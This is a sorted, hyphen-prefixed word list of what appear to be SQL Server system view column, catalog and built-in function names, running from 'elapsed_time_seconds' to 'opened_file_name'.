-elapsed_time_seconds -empty_bucket_count -empty_scan_count -enabled -encalg -encoding -encoding_type -encrtype -encrypted -encrypted_value -encryption_algorithm -encryption_algorithm_desc -encryption_algorithm_name -encryption_scan_modify_date -encryption_scan_state -encryption_scan_state_desc -encryption_state -encryption_state_desc -encryption_status -encryption_status_desc -encryption_type -encryption_type_desc -encrypt_option -encryptor_thumbprint -encryptor_type -end_checkpoint_id -end_column_id -end_compile_time -end_dialog_sequence -enddlgseq -ended_count -end_log_block_id -end_lsn -end_of_log_lsn -end_of_scan_count -endpoint -endpoint_id -endpoints -endpoint_url -endpoint_webmethods -end_quantum -end_time -EndTime -end_time_utc -end_tsn -end_xact_lsn -engine_version -enlist_count -enlistment_state -enqtime -enqueued_count -enqueued_tasks_count -enqueue_failed_duplicate_count -enqueue_failed_full_count -enqueue_time -entity_id -entity_name -entries_count -entries_in_use_count -entry_address -entry_count -entry_data -entry_data_address -entry_scan_direction -entry_time -enum -environ -environment_variables -epoch -equality_columns -equal_rows -error -Error -error_code -error_count -error_id -error_message -error_number -error_severity -error_state -error_timestamp -error_type -error_type_desc -estimated_completion_time -estimated_read_row_count -estimated_rows -estimate_row_count -estimate_time_complete_utc -etag -event -EventClass -event_count -event_data -event_entry_point -event_group_type -event_group_type_desc -event_handle -event_id -eventid -event_info -event_message -event_name -EventNotificationErrorsQueue -event_notification_event_types -event_notifications -event_package_guid -event_predicate -event_retention_mode -event_retention_mode_desc -events -EventSequence -event_session_address -event_session_id -EventSubClass -event_time -event_type -exception_address -exception_num -exception_severity -exclusive_access_count -exec_context_id -execute_action_duration -execute_action_initiated_by -execute_action_initiated_time -execute_action_start_time -execute_as -execute_as_principal_id -executing_managed_code -execution_count -execution_duration_ms -execution_id -execution_type -execution_type_desc -expansion_type -expiry_date -extended_procedures -extended_properties -extensibility_ctxt_address -extent_file_id -extent_page_id -external_benefit -external_data_sources -external_file_formats -external_job_streams -EXTERNAL_LANGUAGE -external_language_files -external_language_id -external_languages -external_libraries -external_libraries_installed -external_libraries_installed_table -external_library_files -external_library_id -external_library_setup_errors -external_library_setup_failures -EXTERNAL_NAME -external_pool_id -external_script_request_id -external_stream_columns -external_streaming_jobs -external_streams -external_table_columns -external_tables -external_user_name -extractor -facet_id -fade_end_time -failed_giveup_count -failed_lock_count -failed_other_count -failed_sessions_count -failed_to_create_worker -failover_mode -failover_mode_desc -failure_code -failure_condition_level -FailureConditionLevel -failure_message -failure_state -failure_state_desc -failure_time_utc -family_guid -familyid -fanout -farbrkrinst -far_broker_instance -farprincid -far_principal_id -far_service -farsvc -fcb_id -fcompensated -fcomplete -fdhost_id -fdhost_name -fdhost_process_id -fdhost_type -feature_id -feature_name -feature_type_name -federated_service_account -federatedxact_address -fetch_buffer_size -fetch_buffer_start -fetch_status -fgfragid -fgguid -fgid -fgidfs -fiber_address -fiber_context_address -fiber_data -field_terminator -file_context -file_exists -file_format_id -filegroup_guid -filegroup_id -filegroups -file_guid -fileguid -file_handle -FileHandle -file_id -fileid -FileId -file_is_a_directory -file_name -filename -FileName -filename_collation_id -filename_collation_name -file_object_type -file_object_type_desc -file_offset -file_or_directory_name -file_position -file_size_in_bytes -file_size_used_in_bytes -filestate -filestream_address -filestream_data_space_id -filestream_filegroup_id -filestream_guid -filestream_send_rate -filestream_transaction_id -file_system_type -filetables -filetable_system_defined_objects -file_type -filetype -file_type_desc -file_version -fillfact -fill_factor -filter_definition -filter_predicate -finitiator -fInReconcile -first -first_active_time -first_begin_cdc_lsn -first_begin_lsn -first_child -first_execution_time -FirstIAM -first_iam_page -first_lsn -firstoorder -first_out_of_order_sequence -first_page -first_recovery_fork_guid -first_row -first_row_time -first_snapshot_sequence_num -firstupdatelsn -first_useful_sequence_num -fixed_drive_path -fixed_length -fkey -fkey1 -fkey10 -fkey11 -fkey12 -fkey13 -fkey14 -fkey15 -fkey16 -fkey2 -fkey3 -fkey4 -fkey5 -fkey6 -fkey7 -fkey8 -fkey9 -fkeydbid -fkeyid -flag_desc -flags -Flags -float -flush_interval_seconds -fn_builtin_permissions -fn_cColvEntries_80 -fn_cdc_check_parameters -fn_cdc_decrement_lsn -fn_cdc_get_column_ordinal -fn_cdc_get_max_lsn -fn_cdc_get_min_lsn -fn_cdc_has_column_changed -fn_cdc_hexstrtobin -fn_cdc_increment_lsn -fn_cdc_is_bit_set -fn_cdc_is_ddl_handling_enabled -fn_cdc_map_lsn_to_time -fn_cdc_map_time_to_lsn -fn_check_object_signatures -fn_column_store_row_groups -fn_db_backup_file_snapshots -fn_dblog -fn_dblog_xtp -fn_dbslog -fn_dump_dblog -fn_dump_dblog_xtp -fn_EnumCurrentPrincipals -fn_fIsColTracked -fn_full_dblog -fn_get_audit_file -fn_GetCurrentPrincipal -fn_getproviderstring -fn_GetRowsetIdFromRowDump -fn_getserverportfromproviderstring -fn_get_sql -fn_hadr_backup_is_preferred_replica -fn_hadr_distributed_ag_database_replica -fn_hadr_distributed_ag_replica -fn_hadr_is_primary_replica -fn_hadr_is_same_replica -fn_helpcollations -fn_helpdatatypemap -fn_IsBitSetInBitmask -fn_isrolemember -fn_listextendedproperty -fn_MapSchemaType -fn_MSdayasnumber -fn_MSgeneration_downloadonly -fn_MSget_dynamic_filter_login -fn_MSorbitmaps -fn_MSrepl_getsrvidfromdistdb -fn_MSrepl_map_resolver_clsid -fn_MStestbit -fn_MSvector_downloadonly -fn_MSxe_read_event_stream -fn_my_permissions -fn_numberOf1InBinaryAfterLoc -fn_numberOf1InVarBinary -fn_PageResCracker -fn_PhysLocCracker -fn_PhysLocFormatter -fn_repladjustcolumnmap -fn_repldecryptver4 -fn_replformatdatetime -fn_replgetcolidfrombitmap -fn_replgetparsedddlcmd -fn_repl_hash_binary -fn_replp2pversiontotranid -fn_replreplacesinglequote -fn_replreplacesinglequoteplusprotectstring -fn_repluniquename -fn_replvarbintoint -fn_RowDumpCracker -fn_servershareddrives -fn_sqlagent_job_history -fn_sqlagent_jobs -fn_sqlagent_jobsteps -fn_sqlagent_jobsteps_logs -fn_sqlagent_subsystems -fn_sqlvarbasetostr -fn_stmt_sql_handle_from_sql_stmt -fn_trace_geteventinfo -fn_trace_getfilterinfo -fn_trace_getinfo -fn_trace_gettable -fn_translate_permissions -fn_validate_plan_guide -fn_varbintohexstr -fn_varbintohexsubstring -fn_virtualfilestats -fn_virtualservernodes -fn_xcs_get_file_rowcount -fn_xe_file_target_read_file -fn_yukonsecuritymodelrequired -forced_grant_count -forced_yield_count -force_failure_count -foreign_committed_kb -foreign_key_columns -foreign_keys -forkeys -forkguid -forkid -forklsn -fork_point_lsn -forkvc -format_type -forwarded_fetch_count -forwarded_record_count -fp2p_pub_exists -fprocessingtext -fPubAllowUpdate -fragid -fragment_bitmap -fragment_count -fragment_id -fragment_object_id -fragment_size -fragobjid -frame_address -frame_index -free_bytes -free_bytes_offset -free_entries_count -free_ref_slot_occupied -free_space_in_bytes -free_worker_count -frequency_check_ticks -frequent -friendly_name -frombrkrinst -from_broker_instance -from_object_id -from_service_name -fromsvc -fsinfo_address -ftcatid -full_block_only -full_filesystem_path -full_incremental_population_count -fulltext_catalog_id -fulltext_catalogs -fulltext_document_types -fulltext_index_catalog_usages -fulltext_index_columns -fulltext_indexes -fulltext_index_fragments -fulltext_index_page_count -fulltext_languages -fulltext_semantic_languages -fulltext_semantic_language_statistics_database -fulltext_stoplists -fulltext_stopwords -fulltext_system_stopwords -function_id -function_order_columns -future_allocations_kb -future_interest -gam_page_id -gam_status -gam_status_desc -generated_always_type -generated_always_type_desc -generate_time -generation -generation_id -geography -GeographyCollectionAggregate -GeographyConvexHullAggregate -GeographyEnvelopeAggregate -GeographyUnionAggregate -geometry -GeometryCollectionAggregate -GeometryConvexHullAggregate -GeometryEnvelopeAggregate -GeometryUnionAggregate -ghost_rec_count -ghost_record_count -ghost_version_inrow -ghost_version_offrow -gid -gq_address -granted_memory_kb -granted_query_memory -grantee -GRANTEE -grantee_count -grantee_principal_id -grantor -GRANTOR -grantor_principal_id -grant_time -graph_type -graph_type_desc -group_database_id -group_handle -group_id -groupid -GroupID -group_max_requests -group_name -groupname -groupuid -growth -grpid -guid -GUID -guid_identifier -handle -Handle -handle_context_address -handle_count -handle_id -hardened_recovery_lsn -hardened_root_file_guid -hardened_root_file_watermark -hardened_truncation_lsn -hardware_generation -hasaccess -has_checksum -has_crawl_completed -hasdbaccess -has_default -has_default_value -has_filter -has_ghost_records -hash -hash_bucket_count -hash_column_ordinal -hashed_trans -hash_hits -hash_hit_total_search_length -hash_indexes -hash_key -hash_misses -hash_miss_total_search_length -has_integrity_stream -has_long_running_target -has_nulls -has_opaque_metadata -has_persisted_sample -has_replication_filter -has_restricted_text -has_snapshot -has_unchecked_assembly_data -has_version_records -has_vertipaq_optimization -hbcolid -hdrpartlen -hdrseclen -header_limit -health_check_timeout -HealthCheckTimeout -health_error_message -health_status -heart_beat -hidden_column -hierarchyid -high -high_weight_cache_buffer_count -hints -history -history_retention_period -history_retention_period_unit -history_retention_period_unit_desc -history_table_id -hits_count -hobt_id -hops_remaining -host_address -host_architecture -host_distribution -host_name -hostname -HostName -host_platform -hostprocess -host_process_id -host_release -host_service_pack_level -host_sku -host_task_address -host_to_device_bytes -hr_batch -http_endpoints -hyperthread_ratio -id -ideal_memory_kb -ideal_workers_limit -identity -identity_columns -idle -idle_attempts_count -idle_scheduler_count -idle_sessions -idle_switches_count -idle_time_cs -idle_worker_count -idmajor -idminor -idSch -idtval -ignore_dup_key -image -imageval -impid -importance -iname -inbound_session_key_identifier -incarnation_id -included_columns -incomplete -incomplete_cache_buffer -increment -INCREMENT -incremental_timestamp -increment_value -incurs_seek_penalty -indepclass -indepdb -indepid -indepname -indepschema -indepserver -indepsubid -index_column_id -index_columns -indexdel -index_depth -indexes -index_group_handle -index_handle -index_id -indexid -IndexID -index_level -index_lock_promotion_attempt_count -index_lock_promotion_count -index_resumable_operations -index_scan_count -index_type_desc -indid -inequality_columns -info -information_type -information_type_id -initial_compile_start_time -INITIALLY_DEFERRED -initiator -inline_type -in_progress -input_groupby_row_count -input_name -input_options -in_row_data_page_count -inrow_diff_version_record_count -InRowLength -in_row_reserved_page_count -in_row_used_page_count -inrow_version_record_count -insert_over_ghost_version_inrow -insert_over_ghost_version_offrow -inseskey -inseskeyid -install_failures -instance_id -instance_name -instance_pipe_name -instant_file_initialization_enabled -instrig -instruction_address -int -IntegerData -IntegerData2 -interface -internal_benefit -internal_bit_position -internal_error_code -internal_freed_kb -internal_null_bit -internal_object_reserved_page_count -internal_objects_alloc_page_count -internal_objects_dealloc_page_count -internal_object_type -internal_object_type_desc -internal_offset -internal_pages -internal_partitions -internal_state_desc -internalstatus -internal_storage_slot -internal_tables -internal_type -internal_type_desc -interrupt_cnt -interval_length_minutes -INTERVAL_PRECISION -INTERVAL_TYPE -int_identifier -intprop -intPublicationOptions -in_use_count -io_busy -io_bytes_read -io_bytes_written -io_completion_request_address -io_completion_routine_address -io_completion_worker_address -io_handle -io_handle_path -io_issue_ahead_total_ms -io_issue_delay_non_throttled_total_ms -io_issue_delay_total_ms -io_issue_violations_total -io_offset -io_pending -io_pending_ms_ticks -io_read_bytes -io_read_operations -ios_in_progess -io_stall -IoStallMS -io_stall_queued_read_ms -io_stall_queued_write_ms -io_stall_read_ms -IoStallReadMS -io_stall_write_ms -IoStallWriteMS -io_time_ms -io_type -io_user_data_address -iowait_time_cs -io_wait_time_in_ms -io_write_bytes -io_write_operations -ip_address -ip_configuration_string_from_cluster -ipipename -ip_subnet_mask -irp_id -irq_time_cs -is_abstract -is_accelerated_database_recovery_on -is_accent_sensitivity_on -is_accept -is_activation_enabled -is_active -is_active_for_begin_dialog -is_admin_endpoint -is_advanced -isaliased -is_all_columns_found -is_allocated -is_ambiguous -is_anonymous_enabled -is_anonymous_on -is_ansi_null_default_on -is_ansi_nulls_on -is_ansi_padded -is_ansi_padding_on -is_ansi_warnings_on -is_anti_matter -isapprole -is_arithabort_on -is_assembly_type -is_async_population -is_auto -is_auto_cleanup_on -is_auto_close_on -is_auto_create_stats_incremental_on -is_auto_create_stats_on -is_auto_executed -is_autogrow_all_files -is_auto_shrink_on -is_auto_update_stats_async_on -is_auto_update_stats_on -is_available -is_basic_auth_enabled -is_binary_ordered -is_bound -is_boundedupdate_singleton -is_broker_enabled -is_cached -is_cache_key -is_caller_dependent -is_case_sensitive -is_cdc_enabled -is_cleanly_shutdown -is_clear_port_enabled -is_close_on_commit -is_clouddb_internal_query -is_clustered -is_clustered_index_scan -is_cluster_shared_volume -is_collation_compatible -is_column_permission -is_column_set -is_columnstore -is_commit_participant -is_compressed -is_compression_enabled -is_computed -iscomputed -is_computed_column -is_concat_null_yields_null_on -is_configured -is_conformant -is_contained -is_conversation_error -is_currently_dst -is_current_owner -is_cursor_close_on_commit_on -is_cursor_ref -is_cycling -is_damaged -is_data_access_enabled -is_database_joined -is_data_deletion_filter_column -is_data_retention_enabled -is_data_row_format -is_date_correlation_on -is_date_correlation_view -is_db_chaining_on -is_default -is_default_fixed -is_default_uri -IS_DEFERRABLE -is_delayed_durability -is_descending -is_descending_key -IS_DETERMINISTIC -is_dhcp -is_digest_auth_enabled -is_directory -is_dirty -is_disabled -is_distributed -is_distributed_network_name -is_distributor -is_dropped -is_dts_replicated -is_dynamic -is_dynamic_port -is_edge -is_emergent_mem -is_enabled -is_encrypted -is_encryption_enabled -is_end_of_dialog -is_enforced -is_enlisted -is_enqueue_enabled -is_event_logged -is_executable_action -is_execution_replicated -is_exhausted -is_expiration_checked -is_extension_blocked -is_external -is_failover_ready -is_fatal_exception -is_federation_member -is_fiber -is_filestream -is_filetable -is_filterable -is_final_extension -is_final_list_member -is_final_restriction -is_final_union_member -is_first -is_fixed -is_fixed_length -is_fixed_length_clr_type -is_fixed_role -is_forced_plan -is_free -is_fulltext_enabled -IS_GRANTABLE -is_group -is_hadron_consumed -is_hidden -is_honor_broker_priority_on -is_hypothetical -is_iam_page -is_identity -is_identity_column -is_idle -is_ignored_in_optimization -is_impersonating -IS_IMPLICITLY_INVOCABLE -is_importing -is_in_bpool_extension -is_in_cc_exception -is_included_column -is_incomplete -is_incremental -is_initiator -is_inlineable -is_in_polling_io_completion_routine -is_input -IsInrow -is_insert_all -is_inside_catch -is_installed -is_in_standby -is_instead_of_trigger -is_integrated_auth_enabled -is_internal_query -is_ipv4 -is_kerberos_auth_enabled -is_key -is_known_cdc_tran -is_last -is_linked -is_local -is_local_cursor_default -is_logged_for_replication -islogin -is_log_read_ahead -is_masked -is_master_key_encrypted_by_server -is_media_read_only -is_memory_optimized -is_memory_optimized_elevate_to_snapshot_on -is_memory_optimized_enabled -is_merge_published -is_message_forwarding_enabled -is_migration_paused -is_mixed_extent -is_mixed_page_allocation -is_mixed_page_allocation_on -is_modified -is_ms_shipped -is_name_reserved -is_natively_compiled -is_nested_triggers_on -is_next_candidate -is_nillable -is_node -is_non_sql_subscribed -is_nonsql_subscriber -is_not_for_replication -is_not_trusted -is_not_versioned -isntgroup -is_ntlm_auth_enabled -isntname -isntuser -is_nullable -isnullable -IS_NULLABLE -IS_NULL_CALL -is_numeric_roundabort_on -iso_level -is_online -is_online_index_plan -is_open -is_operator_audit -is_orphaned -isoutparam -is_output -is_padded -is_page_compressed -is_parallel_plan -is_parameterization_forced -is_part_of_encrypted_module -is_part_of_unique_key -is_passive -is_paused -is_pending_secondary_suspend -is_percent_growth -is_persisted -is_persistent_log_buffer -is_pit -is_poison_message_handling_enabled -is_policy_checked -is_preemptive -is_prepared -is_primary_key -is_primary_replica -is_public -is_published -is_publisher -is_pushed -is_qualified -is_query_store_on -is_quoted_identifier_on -is_rda_server -is_read_committed_snapshot_on -is_read_only -is_readonly -is_receive_enabled -is_receive_flow_controlled -is_recompiled -is_reconciled -is_reconfiguration_pending -IsRecordPrefixCompressed -is_recursive_triggers_on -isremote -is_remote_data_archive_enabled -is_remote_login_enabled -is_remote_proc_transaction_promotion_enabled -is_remote_task -is_repeatable -is_repeated_base -is_replay_consumed -is_repl_consumed -is_replicated -is_replication_specific -is_repl_serializable_only -is_restriction_blocked -IS_RESULT -is_result_set_caching_on -is_resumable -is_retention_enabled -is_retry -is_retry_batch -is_revertable_action -is_rollover -is_rowguidcol -is_rowset -is_rpc_out_enabled -is_schema_bound -is_schema_bound_reference -is_schema_published -is_select_all -is_selected -is_send_flow_controlled -is_sent_by_initiator -is_sent_by_target -is_sereplicated -is_session_context_enabled -is_session_enabled -is_shutdown -is_sick -is_signature_valid -is_signed -is_singleton -is_small -is_snapshot -is_source -is_sparse -IsSparse -is_sparse_column_set -is_speculative -is_sql_language_enabled -issqlrole -issqluser -is_ssl_port_enabled -is_stale_page_detection_on -is_state_enabled -is_subscribed -is_subscriber -is_substitution_blocked -issuer -issuer_name -is_supplemental_logging_enabled -is_suspended -is_suspended_sequence_number -IsSymbol -is_synchronized -is_sync_tran_subscribed -is_sync_with_backup -is_system -IsSystem -is_system_named -is_table_type -is_tempdb_spill_to_remote_store -is_temporal_history_retention_enabled -is_temporary -is_track_columns_updated_on -is_tracked_by_cdc -is_tran_consumed -is_transactional -is_transform_noise_words_on -is_trigger_event -is_trivial_plan -is_trustworthy_on -is_txn_owner -is_unique -is_unique_constraint -is_uniqueifier -IS_UPDATABLE -is_updateable -is_updated -is_user_defined -IS_USER_DEFINED_CAST -is_user_process -is_user_transaction -is_value_default -is_visible -is_waiting_on_loader_lock -is_xml_charset_enforced -is_xml_document -is_xquery_max_length_inferred -is_xquery_type_inferred -itemcnt -item_id -item_name -items_processed -job_id -job_tracker_location -join_state -join_state_desc -kernel_nonpaged_pool_kb -kernel_paged_pool_kb -kernel_time -key_algorithm -keycnt -KEY_COLUMN_USAGE -key_constraints -key_encryptions -key_guid -key_id -key_index_id -key_length -key_merge_count -key_merge_retry_count -key_name -keyno -key_ordinal -key_path -keyphrase_index_page_count -keys -key_split_count -key_split_retry_count -key_store_provider_name -key_thumbprint -key_type -keyword -kind -kind_desc -kpid -label -label_id -lang -langid -language -language_id -large_buffer_size -large_page_allocations_kb -largest_event_dropped_size -large_value_types_out_of_row -last_access -last_access_time -last_activated_time -last_active_time -last_activity_time -LAST_ALTERED -last_batch -last_bind_cpu_time -last_bind_duration -last_closed_checkpoint_ts -last_clr_time -last_columnstore_segment_reads -last_columnstore_segment_skips -last_commit_cdc_lsn -last_commit_cdc_time -last_commit_lsn -last_commit_time -last_compile_batch_offset_end -last_compile_batch_offset_start -last_compile_batch_sql_handle -last_compile_duration -last_compile_memory_kb -last_compile_start_time -last_connect_error_description -last_connect_error_number -last_connect_error_timestamp -last_cpu_time -last_dop -last_duration -last_elapsed_time -last_empty_rowset_time -last_end_lsn -last_error -last_event_time -last_execution_time -last_force_failure_reason -last_force_failure_reason_desc -last_grant_kb -last_hardened_lsn -last_hardened_time -last_id -last_ideal_grant_kb -last_log_backup_lsn -last_log_block_id -last_log_bytes_used -last_logical_io_reads -last_logical_io_writes -last_logical_reads -last_logical_writes -last_lsn -last_lsn_processed -last_max_dop_used -last_modified -last_modified_date -last_notification -last_num_page_server_reads -last_num_physical_io_reads -last_num_physical_reads -lastoorder -lastoorderfr -last_operation -last_optimize_cpu_time -last_optimize_duration -last_out_of_order_frag -last_out_of_order_sequence -last_page_server_io_reads -last_page_server_reads -last_parameterization_failure_reason -last_parse_cpu_time -last_parse_duration -last_pause_time -last_physical_io_reads -last_physical_reads -lastpkeybackup -last_query_hint_failure_reason -last_query_hint_failure_reason_desc -last_query_max_used_memory -last_query_wait_time_ms -last_read -lastreads -last_received_lsn -last_received_time -last_recovery_fork_guid -last_redone_lsn -last_redone_time -last_refresh -last_request_end_time -last_request_start_time -last_reserved_threads -last_round_start_time -last_rowcount -last_rows -last_row_time -lastrun -last_run_date -last_run_duration -last_run_outcome -last_run_retries -last_run_time -last_segment_lsn -last_send_tran_id -last_sent_lsn -last_sent_time -last_service_ticks -last_spills -last_sql_handle -last_startup_time -last_statement_end_offset -last_statement_sql_handle -last_statement_start_offset -last_successful_logon -last_system_lookup -last_system_scan -last_system_seek -last_system_update -last_tempdb_space_used -last_tick_time -lasttime -last_timer_activity -last_transaction_sequence_num -last_unsuccessful_logon -last_updated -last_updated_checkpoint_id -lastupdatelsn -last_update_time -last_used_grant_kb -last_used_threads -last_used_value -last_user_lookup -last_user_scan -last_user_seek -last_user_update -last_valid_restore_time -last_value -last_wait_type -lastwaittype -last_worker_time -last_write -lastwrites -last_write_time -latch_class -latency -lazy_schema_validation -lazyschemavalidation -lcid -leaf_allocation_count -leaf_bit_position -leaf_delete_count -leaf_ghost_count -leaf_insert_count -leaf_null_bit -leaf_offset -leaf_page_merge_count -leaf_pages -leaf_update_count -ledger_type -ledger_type_desc -ledger_view_id -ledger_view_type -ledger_view_type_desc -left_boundary -length -level -level_1_grid -level_1_grid_desc -level_2_grid -level_2_grid_desc -level_3_grid -level_3_grid_desc -level_4_grid -level_4_grid_desc -lgfgid -lgnid -lifetime -line_num -LineNumber -linked_logins -LinkedServerName -listener_id -lname -loadavg_1min -load_factor -load_time -lob_data_space_id -lobds -lob_fetch_in_bytes -lob_fetch_in_pages -lob_logical_read_count -lob_orphan_create_count -lob_orphan_insert_count -lob_page_server_read_ahead_count -lob_page_server_read_count -lob_physical_read_count -lob_read_ahead_count -lob_reserved_page_count -lob_used_page_count -local_database_id -local_database_name -locale -local_net_address -local_node -local_physical_seeding_id -local_principal_id -local_service_id -local_tcp_port -location -location_type -locked_page_allocations_kb -lock_escalation -lock_escalation_desc -lockflags -lock_on_bulk_load -lock_owner_address -lock_requestor_id -lockres -lock_timeout -lock_type -log_backup_lsn -log_backup_time -LogBlockGeneration -log_block_id -log_bytes_required -log_bytes_since_last_close -log_bytes_written -log_checkpoint_lsn -log_consumer_count -log_consumer_deleting -log_consumer_id_seed -log_consumer_ref_counter -log_consumption_deactivated -log_consumption_rate -log_end_lsn -log_filegroup_id -log_file_name -log_file_path -logical_database_id -logical_db_name -logical_device_name -logical_name -logical_operator -logical_path -logical_read_count -logical_reads -logical_row_count -logical_volume_name -log_id -loginame -login_id -login_name -loginname -LoginName -login_sid -loginsid -LoginSid -login_state -login_state_desc -login_time -login_token -login_type -log_IO_count -log_min_lsn -log_name -logpoolmgr_count -logpoolmgr_deleting -logpoolmgr_ref_counter -log_record_count -log_recovery_lsn -log_recovery_size_mb -log_reuse_wait -log_reuse_wait_desc -log_send_queue_size -log_send_rate -logshippingid -log_since_last_checkpoint_mb -log_since_last_log_backup_mb -log_source -log_space_in_bytes_since_last_backup -log_state -log_text -log_truncation_holdup_reason -lookaside_id -lost_events_count -low -lower_bound_tsn -low_mem_signal_threshold_mb -low_water_mark_for_ghosts -low_weight_cache_buffer_count -lsid -lsn -lstart -magnitude -major_id -major_num -major_version -manager_id -manager_role -manual_population_count -manufacturer -map_key -mapping_id -map_progress -map_value -masked_columns -masking_function -master_files -master_key_passwords -MATCH_OPTION -max_buffer_limit -max_chain_length -max_cleanup_version -max_clr_time -max_cmds_in_tran -max_column_id_used -max_columnstore_segment_reads -max_columnstore_segment_skips -max_compile_memory_kb -maxconn -max_count -max_cpu_percent -max_cpu_time -max_csn -max_data_id -max_deep_data -max_dispatch_latency -max_dop -max_duration -MAX_DYNAMIC_RESULT_SETS -max_elapsed_time -max_event_size -maxexectime -max_files -max_file_size -max_free_entries_count -max_grant_kb -max_ideal_grant_kb -maximum -MAXIMUM_CARDINALITY -maximum_queue_depth -maximum_value -MAXIMUM_VALUE -maxinrow -maxinrowlen -max_inrow_length -maxint -max_internal_length -max_iops_per_volume -maxirow -maxleaf -max_leaf_length -maxlen -max_length -max_log_bytes_used -max_logical_io_reads -max_logical_io_writes -max_logical_reads -max_logical_writes -max_memory -max_memory_kb -max_memory_percent -maxnullbit -max_null_bit_used -max_num_page_server_reads -max_num_physical_io_reads -max_num_physical_reads -maxoccur -max_occurences -max_outstanding_io_per_volume -max_overlap -max_page_server_io_reads -max_page_server_reads -max_pages_in_bytes -max_physical_io_reads -max_physical_reads -max_plans_per_query -max_processes -max_quantum -max_query_max_used_memory -max_query_wait_time_ms -max_readers -max_record_size_in_bytes -max_request_cpu_time_ms -max_request_grant_memory_kb -max_reserved_threads -max_rollover_files -max_rowcount -max_rows -max_size -maxsize -max_sizeclass -max_spills -max_storage_size_mb -max_target_memory_kb -max_tempdb_space_used -max_thread -max_thread_proxies -max_time -max_used_grant_kb -max_used_memory_kb -max_used_threads -max_used_worker_count -max_version_chain_traversed -max_wait_time -max_wait_time_ms -max_worker_count -max_workers_count -max_worker_threads -max_worker_time -mdversion -media_family_id -media_sequence_number -media_set_guid -media_set_name -member_name -member_principal_id -member_state -member_state_desc -member_type -member_type_desc -memberuid -memgrant_waiter_count -memory_address -memory_allocated_for_indexes_kb -memory_allocated_for_table_kb -memory_allocation_address -memory_broker_type -memory_clerk_address -memory_consumer_address -memory_consumer_desc -memory_consumer_id -memory_consumer_type -memory_consumer_type_desc -memory_limit_mb -memory_node_id -memory_object_address -memory_optimized_tables_internal_attributes -memory_partition_mode -memory_partition_mode_desc -memory_pool_address -memory_usage -memory_used_by_indexes_kb -memory_used_by_table_kb -memory_used_in_bytes -memory_utilization_percentage -memregion_memory_address -mem_status -mem_status_stamp -memusage -merge_action_type -merge_outstanding_merges -merge_stats_bytes_merged -merge_stats_kernel_time -merge_stats_log_blocks_merged -merge_stats_number_of_merges -merge_stats_user_time -message -message_body -message_enqueue_time -message_forwarding_size -message_fragment_number -message_id -messages -message_sequence_number -message_type_id -message_type_name -message_type_xml_schema_collection_usages -metadata_offset -metadata_size -method_alias -MethodName -migrated_rows -migration_direction -migration_direction_desc -min_active_bsn -min_buffer_limit -min_clr_time -min_columnstore_segment_reads -min_columnstore_segment_skips -min_cpu_percent -min_cpu_time -min_data_id -min_deep_data -min_dop -min_duration -min_elapsed_time -min_grant_kb -min_ideal_grant_kb -minimum -minimum_value -MINIMUM_VALUE -minint -min_internal_length -min_iops_per_volume -minleaf -min_leaf_length -min_len -minlen -min_length_in_bytes -min_log_bytes_used -min_logical_io_reads -min_logical_io_writes -min_logical_reads -min_logical_writes -min_memory_percent -min_num_page_server_reads -min_num_physical_io_reads -min_num_physical_reads -minoccur -min_occurences -minor_id -minor_num -minor_version -min_page_server_io_reads -min_page_server_reads -min_percentage_resource -min_physical_io_reads -min_physical_reads -min_query_max_used_memory -min_query_wait_time_ms -min_record_size_in_bytes -min_reserved_threads -min_rowcount -min_rows -min_sizeclass -min_spills -min_tempdb_space_used -min_time -min_transaction_timestamp -min_used_grant_kb -min_used_threads -min_valid_version -min_worker_time -min_xact_begin_age -miraddr -mirror_address -mirroring_connection_timeout -mirroring_end_of_log_lsn -mirroring_failover_lsn -mirroring_guid -mirroring_partner_instance -mirroring_partner_name -mirroring_redo_queue -mirroring_redo_queue_type -mirroring_replication_lsn -mirroring_role -mirroring_role_desc -mirroring_role_sequence -mirroring_safety_level -mirroring_safety_level_desc -mirroring_safety_sequence -mirroring_state -mirroring_state_desc -mirroring_witness_name -mirroring_witness_state -mirroring_witness_state_desc -mirror_server_name -misses_count -mixed_extent_page_count -ml_map_page_id -ml_status -ml_status_desc -modate -mode -Mode -model -modification_counter -modification_time -modified -modified_count -modified_extent_page_count -modify_date -modify_time -module -module_address -module_assembly_usages -MODULE_CATALOG -module_guid -MODULE_NAME -MODULE_SCHEMA -money -months -most_recent_session_id -most_recent_sql_handle -mount_expiration_time -mount_request_time -mount_request_type -mount_request_type_desc -movement_key -movement_type -movement_type_desc -msgbody -msgbodylen -msgenc -msgid -msglangid -msgnum -msgref -msgseqnum -msgtype -msqlxact_address -MSreplication_options -ms_ticks -must_be_qualified -name -nameid -namespace -namespace_document_id -nchar -nest_aborted -nested_id -nest_level -NestLevel -net_address -net_library -net_packet_size -net_transport -network_subnet_ip -network_subnet_ipv4_mask -network_subnet_prefix_length -NewAllocUnitId -new_log_interesting -new_log_wait_time_in_ms -newrow_data -newrow_datasize -newrow_identity -nextdocid -next_fragment -next_page_file_id -next_page_page_id -next_read_ahead_lsn -next_sibling -nice_time_cs -nid -nmscope -nmspace -node_affinity -node_id -node_name -NodeName -node_state_desc -nonleaf_allocation_count -nonleaf_delete_count -nonleaf_insert_count -nonleaf_page_merge_count -nonleaf_update_count -non_sos_mem_gap_mb -nonsqlsub -non_transacted_access -non_transacted_access_desc -no_recompute -notify_level_eventlog -nsclass -nsid -nt_domain -NTDomainName -ntext -nt_user_name -nt_username -NTUserName -nullbit -null_on_null_input -null_value -null_values -numa_node -numa_node_count -number -numbered_procedure_parameters -numbered_procedures -number_of_attempts -number_of_quorum_votes -NumberReads -NumberWrites -num_capture_threads -numcol -num_databases -numeric -NUMERIC_PRECISION -NUMERIC_PRECISION_RADIX -NUMERIC_SCALE -num_hadr_threads -num_of_bytes_read -num_of_bytes_written -num_of_reads -num_of_writes -num_openxml_calls -num_parallel_redo_threads -numpart -num_pk_cols -num_reads -num_redo_threads -num_writes -nvarchar -object_address -object_id -objectid -ObjectID -object_id1 -object_id2 -ObjectID2 -object_id3 -object_id4 -object_load_time -object_name -ObjectName -object_package_guid -object_ref_count -objects -object_type -ObjectType -object_type_desc -objid -objname -objtype -occurrence -occurrence_count -occurrences -offline_age -offrow_long_term_version_record_count -offrow_regular_version_record_count -offrow_version_cleaner_end_time -offrow_version_cleaner_start_time -offset -Offset -oldest_aborted_transaction_id -oldest_active_lsn -oldest_active_transaction_id -oldrow_begin_timestamp -oldrow_identity -oldrow_key_data -oldrow_key_datasize -on_disk_size -on_fail_action -on_fail_step_id -on_failure -on_failure_desc -online_index_min_transaction_timestamp -online_index_version_store_size_kb -online_scheduler_count -online_scheduler_mask -on_success_action -on_success_step_id -opened_date -opened_file_name 